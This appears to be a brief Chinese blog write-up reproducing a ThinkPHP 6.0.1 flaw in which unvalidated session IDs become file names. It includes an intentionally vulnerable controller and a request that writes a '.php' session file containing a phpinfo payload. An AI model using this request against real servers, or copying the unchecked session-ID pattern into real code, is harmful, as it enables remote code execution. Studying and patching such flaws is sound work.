thinkphp 6.0.2发布的时候修复了sessionid检查的隐患,经大佬的测试发现如写法不当会造成getshell漏洞

image_1dvochtbo143lgr813jdmefm119.png-99.8kB

thinkphp会以session id作为文件名来创建对应的session文件保存在/runtime/session/目录

原理思路看的明白,代码看不懂,直接写复现啦。

漏洞复现

漏洞造成的原理:

thinkphp会将session id作为文件,而正好thinkphp 6.0.1不会对其值校验,导致可传入任意字符为.php文件
那么如果程序写法不当将某可控值传递到session,那么就可以导致写入php文件,并且内容可控导致getshell

Code:

1
<?php
2
namespace app\controller;
3
4
use app\BaseController;
5
use think\facade\Request;
6
use think\App;
7
use think\Session;
8
9
class Index extends BaseController
10
{
11
    public function index()
12
    {
13
    	$session_id = Request::get('sid'); # 获取get请求的sid参数并赋值给$session_id
14
        $username = Request::get('name'); # 获取get请求的name参数并赋值给$username
15
16
        $session = new Session(new App()); # 创建session类
17
        $session->setId($session_id); # 设置session id为$session_id变量
18
        $session->set('username', $username); # 设置username值为$username
19
        $session->save(); # 保存
20
    }
21
}

然后请求

1
http://127.0.0.1/tp6/public/index.php/index/?sid=1234567890123456789012345678.php&name=%3C?php%20phpinfo();?%3E

然后写入的格式为/runtime/session/sess_文件名.php

image_1dvodgi7k1pah9p01jmm1d94b6dm.png-143.6kB